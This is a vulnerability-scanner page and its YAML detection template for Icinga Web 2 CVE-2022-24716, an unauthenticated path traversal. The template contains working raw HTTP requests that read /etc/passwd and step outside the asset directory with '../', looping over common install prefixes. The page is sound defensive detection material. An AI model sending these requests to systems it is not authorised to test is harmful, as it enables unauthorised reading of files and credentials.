Icinga Web 2 — 1 vulnerability check
noctis ships 1 vulnerability check for Icinga Web 2, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Icinga Web 2 /lib/ static asset path traversal — arbitrary file read
| CVE | CVE-2022-24716 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/icingaweb2/CVE-2022-24716.yaml |
Icinga Web 2 2.9.0 – 2.9.5 serves /lib/<library>/<path> without authentication and without checking that the resolved file stays inside the library's asset directory. An unauthenticated attacker reads any file the web server user can read — including the Icinga Web 2 configuration with database credentials. Detection reads /etc/passwd (and, as a fallback, the library composer.json). After a /etc/passwd read, the same request is sent for an absent file in a random missing directory and the finding is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported. Fixed in 2.9.6.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{icinga_dir}}/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.0 - Checks
passwd_resp.bannerfor(?s)^HTTP/1\.[01] 200 .*\r\n\r\n.*root:[^:\r\n]*:0:0: - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{icinga_dir}}/lib/icinga/icinga-php-thirdparty/noctis-absent-{{oob_token}}/etc/passw… - Parses / computes the next value with a Rhai script
- Checks
lfi_filefor^/etc/passwd$→ finding QoD 75: Arbitrary file read — GET …/lib/icinga/icinga-php-thirdparty/etc/passwd returned /etc/passwd (root:...:0:0:); the same request for an absen… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{icinga_dir}}/lib/icinga/icinga-php-library/../../composer.json HTTP/1.0 - Checks
library_resp.bannerfor(?s)^HTTP/1\.[01] 200 .*\r\n\r\n.*Icinga Web 2 - bundled Icinga PHP l…→ finding QoD 75: Path traversal — GET …/lib/icinga/icinga-php-library/../../composer.json returned the library composer.json from outside its asset directory
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-24716
- https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24716.yaml
Feed source — tests/vulnerabilities/icingaweb2/CVE-2022-24716.yaml
# Icinga Web 2 2.9.0 – 2.9.5 — unauthenticated arbitrary file read (CVE-2022-24716)
#
# Ported from OpenVAS/Greenbone NVT
# 2022/icinga/gb_icingaweb2_GHSA-5p3f-rh28-8frw_active.nasl (OID 1.3.6.1.4.1.25623.1.0.170045,
# GPL-2.0-only), extended with the Nuclei CVE-2022-24716 /etc/passwd probe.
#
# Root cause (library/Icinga/Web/Controller/StaticController.php, 2.9.0 – 2.9.5):
# the unauthenticated /lib/<library>/<path> route serves
# $library->getStaticAssetPath() . '/' . <raw request path>
# with no realpath() containment check. Two consequences, both verified against the
# real icinga/icingaweb2:2.9.5 image (2.9.6 answers 404 to every probe below):
# * icinga-php-thirdparty has NO static asset directory, so its asset root is empty
# and /lib/icinga/icinga-php-thirdparty/etc/passwd reads /etc/passwd itself —
# an arbitrary absolute-path read, no "../" needed.
# * the path is taken from the raw REQUEST_URI, so "../" walks out of a library's
# asset/ directory: /lib/icinga/icinga-php-library/../../composer.json (the NASL probe).
# 2.9.6 returns 404 when the asset root is empty and realpath()-checks the directory.
#
# Detection (benign file reads, nothing is written):
# 1. /etc/passwd through the thirdparty library → arbitrary system file read (QoD 75).
# 2. fallback, the NASL probe: icinga-php-library's composer.json read through "../"
# from its asset/ directory, matched on the NASL's "description" pattern (QoD 75).
# Each iteration of the loop below tries one install prefix: "" (web root, the
# official Docker image), /icingaweb2 (the distribution packages' Apache alias),
# /icinga-web and /icinga2 (Nuclei), /icinga. Every probe is raw HTTP/1.0 via tcp_connect so
# the "../" segments reach the server verbatim.
#
# Better than the NASL: it reads a real system file outside the web application
# (the NASL only reads composer.json inside the Icinga install), it needs no prior
# Icinga Web 2 product detection (it probes the common install prefixes itself),
# and it requires an HTTP 200 status line before the file signature.
#
# Absent-file control (#2383): after a /etc/passwd hit, the same prefix is asked for
# /lib/icinga/icinga-php-thirdparty/noctis-absent-<random>/etc/passwd and the finding is
# raised only when that control gets an HTTP reply without passwd content (fail closed),
# so a server that answers every path with the same file is not reported.
uid: eaff4a37-13f0-4366-b21f-40ac10bcf176
name: "Icinga Web 2 /lib/ static asset path traversal — arbitrary file read (CVE-2022-24716)"
description: |
Icinga Web 2 2.9.0 – 2.9.5 serves /lib/<library>/<path> without authentication and
without checking that the resolved file stays inside the library's asset directory. An
unauthenticated attacker reads any file the web server user can read — including the
Icinga Web 2 configuration with database credentials. Detection reads /etc/passwd
(and, as a fallback, the library composer.json). After a /etc/passwd read, the same
request is sent for an absent file in a random missing directory and the finding is
reported only when that control gets an HTTP reply without passwd content, so a
server that answers every path with the same file is not reported. Fixed in 2.9.6.
cves: [CVE-2022-24716]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [icinga, icingaweb2, monitoring, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-24716"
- "https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24716.yaml"
steps:
# 1 — arbitrary absolute-path read through the asset-less thirdparty library.
# The loop group (this step and every following step) re-runs per prefix.
# Results are pre-initialised per iteration so a failed connect leaves an
# empty banner, not an undefined variable (or the previous prefix's reply).
- id: init-passwd-resp
action: set_var
var_name: passwd_resp
var_value: {connected: false, banner: ""}
loop:
over:
- ""
- "/icingaweb2"
- "/icinga-web"
- "/icinga2"
- "/icinga"
var: icinga_dir
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: thirdparty-passwd
action: tcp_connect
port: "{{port}}"
send: "GET {{icinga_dir}}/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: passwd_resp
# No finding here: the reply is the passwd file. Raised below once the
# absent-file control is clean.
- id: passwd-match
action: match
source: passwd_resp.banner
pattern: "(?s)^HTTP/1\\.[01] 200 .*\\r\\n\\r\\n.*root:[^:\\r\\n]*:0:0:"
on_match:
set_vars:
lfi_file: "/etc/passwd"
# A random missing directory, still ending in etc/passwd, so a honeypot that
# keys a fake file on that name answers it too. Icinga Web 2 answers 404.
- id: passwd-control
action: tcp_connect
port: "{{port}}"
condition: 'lfi_file != ""'
send: "GET {{icinga_dir}}/lib/icinga/icinga-php-thirdparty/noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without passwd content.
- id: passwd-control-verdict
action: script
condition: 'lfi_file != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0:", b)
store_as: ctrl_clean
- id: passwd-report
action: match
source: lfi_file
pattern: "^/etc/passwd$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Arbitrary file read — GET {{icinga_dir}}/lib/icinga/icinga-php-thirdparty/etc/passwd returned /etc/passwd (root:...:0:0:); the same request for an absent file did not"
stop: true
# 2 — fallback, the NASL's icinga-php-library probe: composer.json read through ../
# out of the library's asset directory. The NASL's second URL
# (/lib/icinga/icinga-php-thirdparty/../../composer.json) is not ported: the
# thirdparty bundle has no asset root, so it resolves to /../../composer.json and
# 404s on a vulnerable 2.9.5 (verified) — probe 1 covers that library instead.
- id: library-composer
action: tcp_connect
port: "{{port}}"
send: "GET {{icinga_dir}}/lib/icinga/icinga-php-library/../../composer.json HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: library_resp
- id: library-composer-match
action: match
source: library_resp.banner
pattern: "(?s)^HTTP/1\\.[01] 200 .*\\r\\n\\r\\n.*Icinga Web 2 - bundled Icinga PHP libraries"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Path traversal — GET {{icinga_dir}}/lib/icinga/icinga-php-library/../../composer.json returned the library composer.json from outside its asset directory"
stop: true